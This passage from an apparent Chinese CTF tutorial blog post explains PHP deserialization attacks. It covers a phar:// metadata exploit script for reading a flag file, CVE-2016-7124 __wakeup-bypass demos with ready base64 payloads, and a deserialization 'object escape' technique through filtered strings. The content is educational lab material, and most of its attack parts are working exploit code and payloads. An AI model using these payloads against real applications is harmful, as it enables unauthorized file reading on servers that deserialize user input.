<p><strong><strong>3. file.php</strong></strong>,从前端接收file参数,判断文件是否存在在<span style="background-color: rgba(255, 255, 153, 1)">/var/www/html/</span>下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用<span style="background-color: rgba(255, 255, 153, 1)">file_exists()</span>对用户提交的参数进行解析,如果我们构造<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>解析phar文件,就可以反序列化payload,造成任意文件读取。</p>
<p>构造exp:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> C1e4r
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $test;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str;
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Show
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $source;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str;
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Test
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $file;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $<span style="color: rgba(0, 0, 255, 1)">params</span><span style="color: rgba(0, 0, 0, 1)">;
}
$clear </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> C1e4r();
$show </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Show();
$test </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Test();
$test</span>-&gt;parms[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">source</span><span style="color: rgba(128, 0, 0, 1)">'</span>] =<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/var/www/html/f1ag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$clear</span>-&gt;str = $show;   <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">利用$this-&gt;test = $this-&gt;str;echo $this-&gt;test;</span>
$show-&gt;str[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">str</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = $test; <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">利用$this-&gt;str['str']-&gt;source;</span>
<span style="color: rgba(0, 0, 0, 1)">
$phar </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> Phar(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">joker.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">.phar文件</span>
$phar-&gt;<span style="color: rgba(0, 0, 0, 1)">startBuffering();
$phar</span>-&gt;setStub(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php __HALT_COMPILER(); ? &gt;</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
$phar</span>-&gt;setMetadata($clear);   <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">触发的头是C1e4r类,所以传入C1e4r对象</span>
$phar-&gt;addFromString(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test.txt</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">"</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">生成签名</span>
$phar-&gt;<span style="color: rgba(0, 0, 0, 1)">stopBuffering();

</span>?&gt;</span></pre>
</div>
<p>在本地环境中生成phar文件:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006182101289-854115035.png" alt="" width="591" height="374" loading="lazy"></p>
<p>本题没有对upload/目录做处理可以直接访问,由于对上传文件的后缀有检测,需要改为gif后缀,上传获取文件名</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006182428710-92495830.png" alt="" width="605" height="238" loading="lazy"></p>
<p>回到file.php页面,使用<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>伪协议解析上传的phar伪造的文件:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 128, 0, 1)">/file.php?file=phar:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">upload/46641c37ef2c8d2bd68ab582fdb25732.jpg</span></span></pre>
</div>
<p>得到base64加密内容</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006184550906-1810623200.png" alt="" width="686" height="57" loading="lazy"></p>
<p>&nbsp;flag到手</p>
<h1>CVE-2016-7124 绕过__wakeup()的反序列化</h1>
<h2>漏洞版本</h2>
<p>php5 &lt; 5.6.25 | php7 &lt; 7.0.10</p>
<h2>漏洞原理</h2>
<p>当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过<span style="background-color: rgba(255, 255, 153, 1)">__wakeup</span>的执行</p>
<h2>Demo演示</h2>
<p>demo.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php   
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Test {
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $name = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">joker</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    function __destruct()
    {
      echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Bypass</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    }

    function __wakeup()
    {
      echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">fail </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
$payload </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
unserialize($payload);
</span>?&gt; </span> </pre>
</div>
<p>payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">/demo.php?a=O:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Test</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">1</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:5:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">joker</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201007132602519-683254517.png" alt="" width="529" height="66" loading="lazy">&nbsp;</p>
<p>bypasspayload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">/demo.php?a=O:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Test</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">2</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">5</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">joker</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201007133402031-1830483463.png" alt="" width="529" height="73" loading="lazy"></p>
<p>对象属性个数的值大于真实的属性个数时就会跳过<span style="background-color: rgba(255, 255, 153, 1)">__wakeup()</span>的执行</p>
<h2>CTF小例</h2>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> SoFun{
</span><span style="color: rgba(0, 0, 255, 1)">protected</span> $file=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
function __destruct(){
    </span><span style="color: rgba(0, 0, 255, 1)">if</span>(!empty($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">file)) {
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(strchr($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt; file,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\\</span><span style="color: rgba(128, 0, 0, 1)">"</span>)===<span style="color: rgba(0, 0, 255, 1)">false</span> &amp;&amp;strchr($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;file, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">/</span><span style="color: rgba(128, 0, 0, 1)">'</span>)===<span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">)
      show_source(dirname (__FILE__).</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">/</span><span style="color: rgba(128, 0, 0, 1)">'</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span> -&gt;<span style="color: rgba(0, 0, 0, 1)">file);
      </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
      die(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Wrong filename.</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
    }
}
function __wakeup(){
   $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt; file=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString(){
    </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 0, 1)">''</span><span style="color: rgba(0, 0, 0, 1)"> ;
}
}   
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!isset($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">])){
show_source(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
$file</span>=base64_decode($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]);
echo unserialize($file);
}
</span>?&gt; #&lt;!--key <span style="color: rgba(0, 0, 255, 1)">in</span> flag.php--&gt;</span></pre>
</div>
<p>通读一下源码,发现可以通过<span style="background-color: rgba(255, 255, 153, 1)">__destruct</span>方法中<span style="background-color: rgba(255, 255, 153, 1)">show_source(dirname (__FILE__).'/'.$this -&gt;file);</span>读flag.php文件,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是<span style="background-color: rgba(255, 255, 153, 1)">__wakeup</span>会在<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>之前执行,所以要绕过这一点。</p>
<p>这里就要用到CVE-2016-7124漏洞,<strong>当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行</strong></p>
<p>因为变量<span style="background-color: rgba(255, 255, 153, 1)">$file</span>是<span style="background-color: rgba(255, 255, 153, 1)">protect</span>属性,所以需要加上<span style="background-color: rgba(255, 255, 153, 1)">\x00*\x00</span>。(不明白的可以看上面对修饰符的解释)</p>
<p>构造序列化对象:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">O:<span style="color: rgba(128, 0, 128, 1)">5</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">SoFun</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">1</span>:{s:<span style="color: rgba(128, 0, 128, 1)">7</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\x00*\x00file</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}</span></pre>
</div>
<p>绕过__wakeup:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">O:<span style="color: rgba(128, 0, 128, 1)">5</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">SoFun</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">2</span>:{s:<span style="color: rgba(128, 0, 128, 1)">7</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\x00*\x00file</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}</span></pre>
</div>
<p>再经过base64编码就可以得到payload:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201007143907884-872609321.png" alt="" width="629" height="48" loading="lazy"></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9<br></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201007143952307-1067006002.png" alt="" width="723" height="68" loading="lazy"></p>
<p>当然也可以直接使用16进制编码的方式生成payload,不过需要大写S</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">O:<span style="color: rgba(128, 0, 128, 1)">5</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">SoFun</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">2</span>:{S:<span style="color: rgba(128, 0, 128, 1)">7</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\00*\00file</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}</span></pre>
</div>
<p>直接base64编码</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201007141931180-1934087427.png" alt="" width="720" height="134" loading="lazy"></p>
<h1>PHP反序列化对象逃逸</h1>
<h2>逃逸原理</h2>
<p>在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$str</span>=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
var_dump(unserialize($str));
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201009233409272-312422463.png" alt="" width="654" height="110" loading="lazy"></p>
<blockquote>
<p><strong>反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行</strong>。</p>
</blockquote>
<p>比如在$str结尾的花括号后增加一些字符:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$str</span>=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}qwe123</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
var_dump(unserialize($str));
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201009234024597-340011342.png" alt="" width="681" height="113" loading="lazy"></p>
<p>明白了上面的,就再看一个例子</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">flagflagflagflagflagflag</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">function</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">L2QwZzNfZmxsbGxsbGFn</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
<br>echo serialize($_SESSION);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201009234611447-34849028.png" alt="" width="825" height="104" loading="lazy"></p>
<p>得到的序列化字段为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">a:<span style="color: rgba(128, 0, 128, 1)">3</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">24</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flagflagflagflagflagflag</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">function</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">59</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">3</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">20</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">2</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">dd</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">1</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>img<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:20:</span><span style="color: rgba(128, 0, 0, 1)">"</span>L2QwZzNfZmxsbGxsbGFn<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;}</span></span></pre>
</div>
<p>这里如果增加了过滤机制,会将flag字段替换为空,那么上面序列化字符串过滤结果为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">a:<span style="color: rgba(128, 0, 128, 1)">3</span>{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">24</span>:<span style="color: rgba(128, 0, 0, 1)">""</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">function</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">59</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">3</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">20</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">2</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">dd</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">1</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>img<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:20:</span><span style="color: rgba(128, 0, 0, 1)">"</span>L2QwZzNfZmxsbGxsbGFn<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;}</span></span></pre>
</div>
<p>如果将上面过滤之后的字符串进行反序列化,会不会报错呢?</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">flagflagflagflagflagflag</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">function</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">L2QwZzNfZmxsbGxsbGFn</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$ser </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($_SESSION);
var_dump(unserialize($ser));
echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">-----------------------\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$filter </span>= preg_replace(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/flag/i</span><span style="color: rgba(128, 0, 0, 1)">"</span>,<span style="color: rgba(128, 0, 0, 1)">''</span><span style="color: rgba(0, 0, 0, 1)">,$ser);
var_dump(unserialize($filter));
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201010001629465-1766441382.png" alt="" width="871" height="292" loading="lazy"></p>
<p>打印出了过滤前与过滤后的反序列化字符串,对比就可以发现当把flag过滤之后,string(24)规定需要24个字符,为了满足反序列化的规则,会向后读取字符,直至凑齐24个字符,也就是读取<span style="background-color: rgba(255, 255, 153, 1)">";s:8“function”;s:59:"a</span>,当凑齐24个字符后以<span style="background-color: rgba(255, 255, 153, 1)"> ";&nbsp;</span>结尾。之后<span style="background-color: rgba(255, 255, 153, 1)">["img"]</span>就按照<span style="background-color: rgba(255, 255, 153, 1)">string(20)</span>读取20个字符,<span style="background-color: rgba(255, 255, 153, 1)">["dd"]</span>按照<span style="background-color: rgba(255, 255, 153, 1)">string(1)</span>读取一个字符,剩余的字符就直接被忽略,不影响正常的反序列化过程。</p>
<p>写成数组的形式为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$_SESSION[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">";s:8:"function";s:59:"a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">dd</span><span style="color: rgba(128, 0, 0, 1)">"</span>]=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span>;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201010003553879-220236227.png" alt="" width="890" height="153" loading="lazy"></p>
